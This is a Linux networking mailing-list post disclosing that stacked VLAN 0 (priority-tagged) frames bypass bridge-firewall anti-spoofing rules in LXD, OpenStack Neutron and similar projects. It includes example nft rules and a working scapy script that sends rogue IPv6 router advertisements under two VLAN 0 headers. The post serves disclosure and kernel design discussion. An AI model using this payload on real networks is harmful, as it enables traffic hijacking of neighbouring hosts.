Hello Linux network folks, On the input path, the kernel will remove any number of VLAN 0 headers (priority tagging) On the bridge firewalling path (iptables filter FORWARD or nftable bridge table), the kernel only looks at the current layer, except with bridge-nf-filter-vlan-tagged=1 where it goes 1 layer deep. This difference in behaviour makes any project using bridge firewalling possibly vulnerable. This was fixed in LXD via https://github.com/lxc/lxd/commit/7599ff5834c4e0fedb3870a35ff457d342b2d1d8 Openstack Team just made their issue public: https://bugs.launchpad.net/neutron/+bug/1884341 I haven't checked much more projects (libvirt has good rules but not enabled by default), but I'm wondering if the current Linux behaviour could be improved to be less surprising. If we take the example of LXD (before the fix), enabling anti spoofing options (security.ipv*_filtering) gives the following nft rules: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ table bridge lxd { chain in.u1.eth0 { type filter hook input priority filter; policy accept; iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop iifname "vethececeb08" icmpv6 type nd-neighbor-advert @nh,528,48 != 95530783235 drop iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop iifname "vethececeb08" ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "vethececeb08" ip saddr != 10.242.217.2 drop iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "vethececeb08" ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type nd-router-solicit accept iifname "vethececeb08" icmpv6 type nd-neighbor-advert @nh,384,128 != 336637795894033326396171405568628756995 drop iifname "vethececeb08" ip6 saddr != fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop iifname "vethececeb08" icmpv6 type nd-router-advert drop } chain fwd.u1.eth0 { type filter hook forward priority filter; policy accept; iifname "vethececeb08" ether saddr != 00:16:3e:14:12:03 drop iifname "vethececeb08" arp saddr ether != 00:16:3e:14:12:03 drop iifname "vethececeb08" icmpv6 type nd-neighbor-advert @nh,528,48 != 95530783235 drop iifname "vethececeb08" arp saddr ip != 10.242.217.2 drop iifname "vethececeb08" ip saddr != 10.242.217.2 drop iifname "vethececeb08" ip6 saddr != fd42:14c6:68bf:9774:216:3eff:fe14:1203 drop iifname "vethececeb08" icmpv6 type nd-neighbor-advert @nh,384,128 != 336637795894033326396171405568628756995 drop iifname "vethececeb08" icmpv6 type nd-router-advert drop } ... } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Some (many) people expect those rules to prevent ARP/IPv4/IPv6 spoofing, but they don't protect either the host or the Linux neighbours. Here is a simple scapy script to send router advertisements encapsulated in 2 VLAN 0 headers. This will bypass all those rules but be accepted: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0) ra /= IPv6(dst='ff02::1') ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800) ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0')) ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800) sendp(ra) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (this also works with 'Dot1AD(vlan=0)') Some server NICs (at least Cisco UCS) use priority tagging by default so just dropping VLAN 0 traffic is not an option, but here are some questions / thoughts: - should the input path drop packets with stacked VLAN 0 ? - should there be a sysctl to not remove VLAN 0 on the input path ? VLAN 0 stacking might allow to bypass anti spoofing / DHCP & NDP guard on some switches in some configuration, If your network doesn't use priority tagging there is no reason to accept such traffic. - should the bridge path have the same behaviour as the input path and "remove" all the VLAN 0 headers by default ? (that would fix all projects using bridge firewalling at once) - are there any other headers that are automatically removed on the input path that would allow a similar "bypass" ? Best Etienne Champetier